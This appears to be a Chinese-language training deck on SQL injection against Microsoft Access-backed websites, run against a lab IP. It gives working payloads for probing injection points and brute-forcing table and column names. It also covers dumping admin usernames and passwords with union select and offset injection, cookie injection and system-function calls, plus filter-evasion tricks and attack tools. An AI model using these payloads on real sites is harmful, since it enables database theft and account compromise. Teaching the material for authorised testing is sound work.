1、Web渗透测试系列_X_access注入1.整体框架2.探测阶段3.执行阶段4.注入变形5.测试工具6.总结培训提纲整体框架概述Access注入主要分成两个阶段: 注入探测阶段:寻找、探测注入点、探测数据库类型,为以后发起攻击做好准备。 注入执行阶段:包括跨库查询、暴数据、注入导入功能、执行系统命令,根据注入探测阶段探测到的信息,选择具体方法发起攻击。Access注入框架图探测阶段简介寻找注入点:该阶段即寻找所有有可能存在注入漏洞的注入点,该阶段是渗透测试第一步也是最关键一步。 注入漏洞探测:该阶段即利用常见注入漏洞检测方法对寻找注入点阶段寻找的注入点进行探测,并确定是否存在注入点。数据库类型
2、探测:该阶段即确定目标数据库类型,为下一步攻击做好准备。寻找注入点url参数Post数据项隐藏参数固定参数Cookiehttp消息头寻找注入点url参数 url参数注入是最为常见的注入点,可以通过构造具有攻击意义的值赋值给url参数,来实现注入漏洞的探测,具体如下图红框处。寻找注入点Post数据项 这类注入点一般是注册、修改等页面,以post表单的形式提交给服务器。可以通过构造具有攻击意义的表单内容,来实现注入漏洞的探测,具体如下图红圈处。寻找注入点隐藏参数 隐藏参数即不会再页面显示,但会伴随用户提交的内容一起提交给服务器,它的获取一般需要借助代理工具,以下通过对比原始页面图与抓包图讲解隐藏参
3、数。 原始页面可见参数为url参数id、post表单参数aa、bb,如下图寻找注入点隐藏参数 抓包图中红色圈部分submit、id为两个隐藏参数,下图红圈处。寻找注入点固定参数 此类注入点在页面上是以固定选项出现的,如下拉菜单、可选项等,这些参数在页面上不可修改,一般需要借助代理工具进行修改,以下通过对比原始页面图与抓包图讲解隐藏参数。 原始固定参数如下图红圈内,具体如下。寻找注入点固定参数 抓包页面固定参数如下图红圈内,具体如下。寻找注入点cookie 有些服务器端能够像接收url、post参数那样从cookie获取需要的参数,如果服务器不做过滤,就存在cookie注入,例如下图中红框中id
4、通过cookie传到服务器端:寻找注入点http消息头 http消息头注入点寻找需要借助代理工具,具体如下图红圈内:注入漏洞探测经典方法单引号使用算数组合使用连字符Cookie注入探测注入漏洞探测经典方法 分别在探测输入点输入and 1=1和and 1=2,然后判断两次输入返回界面异同,不同则存在注入漏洞。 输入: and 1=1,如下图注入漏洞探测经典方法 输入: and 1=2,两次输入页面返回不同,因此可以判断存在注入漏洞,如下图注入漏洞探测单引号 由于单引号经常作为语句闭合符号,如果输入单引号,内部程序不过滤,就可能能够造成语法错误,如果系统不做容错处理,会返回详细错误信息,则说明可能
5、存在通用注入漏洞,如果有容错处理,可能返回通用错误页面、重定向到指定页面等多种情况,这里以系统不做容错处理为例,具体如下:注入漏洞探测使用算数组合 当参数是数字类型时,可以使用使用算数运算符,诸如+、-、*、/等,如下图与id=39页面返回结果一样,因此存在漏洞,具体如下:注入漏洞探测使用连字符 如果探测参数类型为字符类型,可以使用连字符%2B、%26,分别使用连字符连接一个空格和一个随意字符,两次页面返回不同则存在漏洞,具体如下: 输入: user=hudong%2B,页面返回如下注入漏洞探测使用连字符 输入: user=hudong%2Basdf,两次页面不同,因此存在诸如漏洞,具体如下:
6、注入漏洞探测Cookie注入探测 Cookie注入探测与通过url、post表项原理是一样的,只不过方法不一样,这里的cookie探测漏洞使用经典方法,使用单引号、算数组合以及使用%2B方法类似,接下来分别修改cookie参数里面包含and 1=1、and 1=2,具体如下。注入漏洞探测Cookie注入探测 输入javascript:alert(document.cookie=“id=”+escape(“39 and 1=1”),页面返回如下:注入漏洞探测Cookie注入探测 紧接着在浏览器输入http:/192.168.41.67/modify.asp?,页面返回如下:注入漏洞探测Cooki
7、e注入探测 再次在浏览器中输入javascript:alert(document.cookie=“id=”+escape(“39 and 1=2”),页面返回如下:注入漏洞探测Cookie注入探测 紧接着在浏览器输入http:/192.168.41.67/modify.asp?,可见两次页面返回不同,因此存在漏洞,具体如下:数据库类型探测Access数据库每个版本都有MSysObjects数据表,因此可以判断MSysObjects的有无来判断是否为Access数据库。如果系统不做容错处理,会返回详细错误信息,则比较容易确定是否为Access数据库,如果有容错处理,可能返回通用错误页面、重定向到
8、指定页面等多种情况,这种情况比较复杂,以下分别介绍。数据库类型探测系统没有容错情况 输入:and exists (select * from MSysObjects),返回结果显示MSysObjects没有读取权限,因此可以判断后台为Access数据库返回页面如下:数据库类型探测系统有容错情况 系统有容错情况,判断比较复杂,则只能使用排除法排除掉是其它数据库的可能性,依次来确定后台是否为Access数据库。执行阶段简介Access注入-暴数据Access注入-跨库查询Access注入-注入导入功能Access注入-执行系统命令Access注入-暴数据猜解表名猜解列名猜解记录总数猜解记录长度猜解
9、记录值猜解表名暴力破解法 由于Access数据库的系统表访问需要管理员权限,因此只能借助暴力破解。使用语句and exists (select * from 表名)猜测表名,不停地更换表名,直到返回的html页面与正常页面一样,则表存在。 例如输入:id=39 and exists (select * from admin) 。猜解列名暴力破解法 与猜测表名类似,完成猜解表名后,使用语句and exists (select 列名 from 表名)猜测列名,不停地更换列名,直到返回的html页面与正常页面一样,则列名在, 例如输入:id=39 and exists (select id from
10、 admin)。猜解列名Having 1=1 在Access数据库里,也支持having和group by语句,根据后台查询语句不同分为两种情况具体如下。猜解列名Having 1=1 第一种情况,如果站点的sql查询语句查询的是特定列名的数据,诸如select id,name,address from admin,可以暴出目标表所有列。 例如输入:id=39 group by 1 having 1=1,暴出第一个列名id,具体如下:猜解列名Having 1=1 爆出id列名,继续输入:id=39 group by 1,id having 1=1,暴出第二列名,具体如下: -逐渐把暴出的列名添加
11、到group by后面,例如继续输入:id=39 group by 1,id ,aa having 1=1,可以暴出aa下一列列名,依次类推暴出所有列名值。猜解列名Having 1=1 第二种情况,如果站点的sql查询语句查询的是没用特定列名的数据,诸如select * from product where id=“&ID&”,此情况只能爆出第一个列名,同时having 后面必须跟诸如sum、avg等合计函数。 例如输入:id=49 having sum(1)=1,页面返回如下:猜解记录总数暴力破解法 使用语句and (select count(1) from 表名 where 1=1)整数,
12、猜解表记录总数,不断缩小整数大小,直到等于某一整数,猜解出表记录数。 例如输入:id=39 and (select count(1) from admin where 1=1)10猜解记录长度暴力破解法 使用语句and (select top 1 len(cstr(列名) from (select top 1 * from 表名 where 1=1 order by 列名) T order by 列名 desc)整数,猜解记录长度,其中len()求字节长度,cstr()转换数据为字符串。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用select top
13、 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名),依次类推可以猜测出所有记录字段的长度。 例如输入:id=39 and (select top 1 len(cstr(id) from (select top 1 * from admin where 1=1 order by id) T order by id desc)10猜解记录值暴力破解法 使用语句and (select top 1 asc(mid(cstr(列名),1,1) from (select top 1 * from 表名 where 1=1 order b
14、y 列名) T order by 列名 desc) between 整数1 and 整数2,猜解表记录字段值,asc(),mid()都是Access函数。 例如输入:id=39 and and (select top 1 asc(mid(cstr(id),1,1) from (select top 1 id from admin where 1=1 order by id) T order by id desc) between 30 and 130猜解记录值Union select法 使用union select语句猜解记录列名的值,有两个前提条件,分别是找到一个可注入点和目标表名。 假如h
15、ttp:/192.168.41.67/modify.asp?id=39存在漏洞,则id=39为一个可注入点。 要探测的目标表为admin。 接下来将介绍使用union select猜解记录值的流程如下。猜解记录值探测列数 首先使用order by number 探测列数,不停地修改number列名的值直到页面返回错误页面为止。 输入:id=39 order by 1,页面返回如下图。猜解记录值探测列数 不断增加number值,当输入id=39 order by 9,页面返回出错,所以这时可以判断http:/192.168.41.67/modify.asp?id=39接的数据库列数为8,具体如下
16、图。猜解记录值探测暴出数据内容的位置 输入:id=39 union select 1,2,3,4,5,6,7,8 from admin,此时会发现页面上显示出了数字,比如 2 、3这些数字,这些数字的地方就是待会爆出数据内容的位置,具体如下。猜解记录值暴出记录值 输入:id=39 union select 1,name,passwd,4,5,6,7,8 from admin,返回页面默认的暴出的是数据库最后一个列名值,具体如下图。猜解记录值暴出记录值 输入:id=39 and 1=2 union select top 1 1,name,passwd,4,5,6,7,8 from admin暴出
17、第一个记录列名值。 输入:id=39 and 1=2 union select top 1 1,name,passwd,4,5,6,7,8 from admin where name not in (select top 1 name from admin)暴出第二个记录列名的值,类似依次暴出所有列名的值。猜解记录值偏移注入法 使用union select查询目标数据库列名内容的时候,有时候返回到页面的内容不是自己想要的内容,这个时候Access偏移注入就派上很好的用场了,使用Access偏移注入能够打乱目标数据库的查询结果,不停地偏移可以使得页面返回自己想要的结果。 Access偏移前提是知
18、道目标表名和一个列名。 以目标网址http:/192.168.41.67/modify.asp?id=39为例,本例中目标表名为admin、一个列名为name,具体流程如下。猜解记录值获取目标列数目 使用order by容易得出目标网址连接表的列数为8。 输入:id=39 and 1=2 union select 1,* from admin,页面返回如下图。猜解记录值获取目标列数目 逐渐增加union select 后面的列数,当输入:id=39 and 1=2 union select 1,2,3,4,5,* from admin的时候,可以得出admin的列名数为8-5=3个,具体如下图
19、。猜解记录值目标自联 自联有一个重要的条件就是目标表(比如例子admin)的列数*2 order by 出的列数,例子admin表列名为3,3*28,因此符合条件。 Admin表3个列名,自联后是6个列名,然后随便加2个列名变成8个列名,构造和http:/192.168.41.67/modify.asp?id=39连接数据库表列名数目一样。猜解记录值目标自联 输入:id=39 and 1=2 union select 1,2,* from (admin as a inner join admin as b on a.name=b.name),从返回页面看没有返回有用信息,具体如下图。猜解记录值
20、目标自联 那么再次输入:id=39 and 1=2 union select 1,2,a.name,b.name,* from (admin as a inner join admin as b on a.name=b.name),返回结果看仅仅返回了用户名,具体如下。猜解记录值目标自联 那么更改列名值顺序输入:id=39 and 1=2 union select 1,a.name,b.name,3,* from (admin as a inner join admin as b on a.name=b.name),从返回界面可以暴出了目标表admin表的用户名与密码值,具体如下。猜解记录值C
21、ookie注入猜解法 利用Cookie注入猜解记录值与使用url参数、post参数猜解记录值原理一样,用也union select语句。 以目标网址http:/192.168.41.67/modify.asp?id=39为例,假如已经知道目标表名为admin,表的2个列名分别为name、passwd,具体流程如下。猜解记录值Cookie注入猜解法 在浏览器输入:javascript:alert(document.cookie=“id=”+escape(“39 and 1=2 union select 1,name,passwd from admin ”),页面如:猜解记录值Cookie注入猜解
22、法 紧接着在浏览器输入:http:/192.168.41.67/modify.asp?,返回的页面中暴出了数据库中字段值,具体如下:Access注入-跨库查询跨库查询简介 有时候某个网站服务器上有两个以上网站,你发现其中一个有Access注入点,但是后台没法提权,另外一个网站没有注入点,但是后台却有你需要的功能。那么这个时候,跨库是不错的选择。 跨库需要两个条件,分别是前一个注入点连接表的列数、目标数据库的绝对路径。第一个条件可以使用order by number轻松获得,第二个条件一般借助Access暴库获得。 跨库查询条件苛刻,且现在access能够暴库的很少,故这里不做详细叙述。Acce
23、ss注入-注入导入功能注入导入功能简介 假如能够把Access数据库里的表方便的导入指定位置文件(例如txt、htm、html等,这里以txt为例)里,理论上只要知道表名,不需要知道段名,就可以看到该表所有内容了,较暴力破解速度也会大有提高。Access注入-注入导入功能注入导入功能简介 输入:id=39 and 1=2 union select 1,name,passwd,4,5,6,7,8 INTO TEXT;DATABASE=C:test1.test.txt from admin,返回页面显示子查询回显没有权限,页面返回出错信息提示,“动作查询不能作为行的来源“,这个难点目前还没有很好的
24、解决,具体如下:Access注入-执行系统命令执行系统命令简介: 执行系统命令需要开启SandBoxMode开关。 在win7系统中,它的注册表为位置在HKEY_LOCAL_MACHINESoftWareMicrosoftoffice14.0Access Connectivity EngineEnginesSandBoxMode 在windows 2003中,它的注册表位置在HKEY_LOCAL_MACHINESoftWareMicrosoftJet4.0EngineSandBoxMode 执行系统命令三个必备条件,首先必须有修改注册表的权限,其次是有修改注册表的条件,最后是可以执行Sandb
25、oxMode的环境,条件要求苛刻,因此这里仅做简单叙述。Access注入-执行系统命令执行系统命令简介: 常见系统函数包括curdir()、dir()、environ()、filedatetime()、filelen()、getattr()、shell()等。 本例以函数curdir()为例,该函数可以查询当前的路径,其它函数的使用可以查阅相关文档。Access注入-执行系统命令执行系统命令简介: 输入:id=39 and 1=2 union select 1 ,curdir(),3,4,5,6,7,8 from msysAccessobjects,页面如图红框处。注入变形常见攻击变形技术使用
26、大小写变种 如果过滤器过滤不全面,可以通过变换攻击字符串中字符的大小写来避开它,因为数据库使用不区分大小写方式处理sql关键字。常见攻击变形技术使用编码技术 编码是一种多功能技术,它可以避开多种类型的输入过滤器。常见的编码技术包括url编码、Base64编码、UTF-8、UTF-7、unicode标准和非标准编码、实体编码等。常见攻击变形技术使用空白符 可以在关键字之间插入多个空白符(空白符包括空格、回车、换行、tab键等)进行逃逸,例如在union select之间插入多个空格,这种逃逸有时候能够逃逸过某些没有过滤特定空白符的过滤器。常见攻击变形技术使用空字节 空字节之所以能够起作用,是因为
27、原生代码与托管代码分别采用不同的方法来处理空字节,这种差异意味着原生过滤器在处理输入的时候,如果遇到空字节它便会停止处理,因为过滤器看来空字节代表字符串的结束,不过在托管代码中,应用在处理相同输入的时候,会将跟在空字节后面的输入一同处理以便执行利用。测试工具常用工具介绍 完全自动化工具半自动化工具完全自动化工具完全自动化工具介绍 完全自动化工具多基于图形化界面,简单实用,易上手,操作简单,对于Access数据库,它或者利用http头中的content-length的不同、或者利用返回的HTTP 500错误信息、或者根据页面返回信息是否包含keyword来探测是否有漏洞,然后借助暴力破解暴数据 常见的完全自动化工具有Domain、HDSI、NBSI、DSQLTools、Pangolin、Havij,完全自动化工具推荐使用Havij。半自动化工具半自动化工具介绍 半自动化工工具不仅能够利用其提供的工具库实现完全自动化工具的功能,而且攻击者还可以根据需要灵活构造攻击特征,有些工具还提供了大量逃逸waf的脚本 。 常用的半自动工具有Burp suite、Sqlmap,半自动化工具推荐Burp suite。总结总结 总结了access注入整体流程。整理了攻击相关变形。收集了access注入相关工具。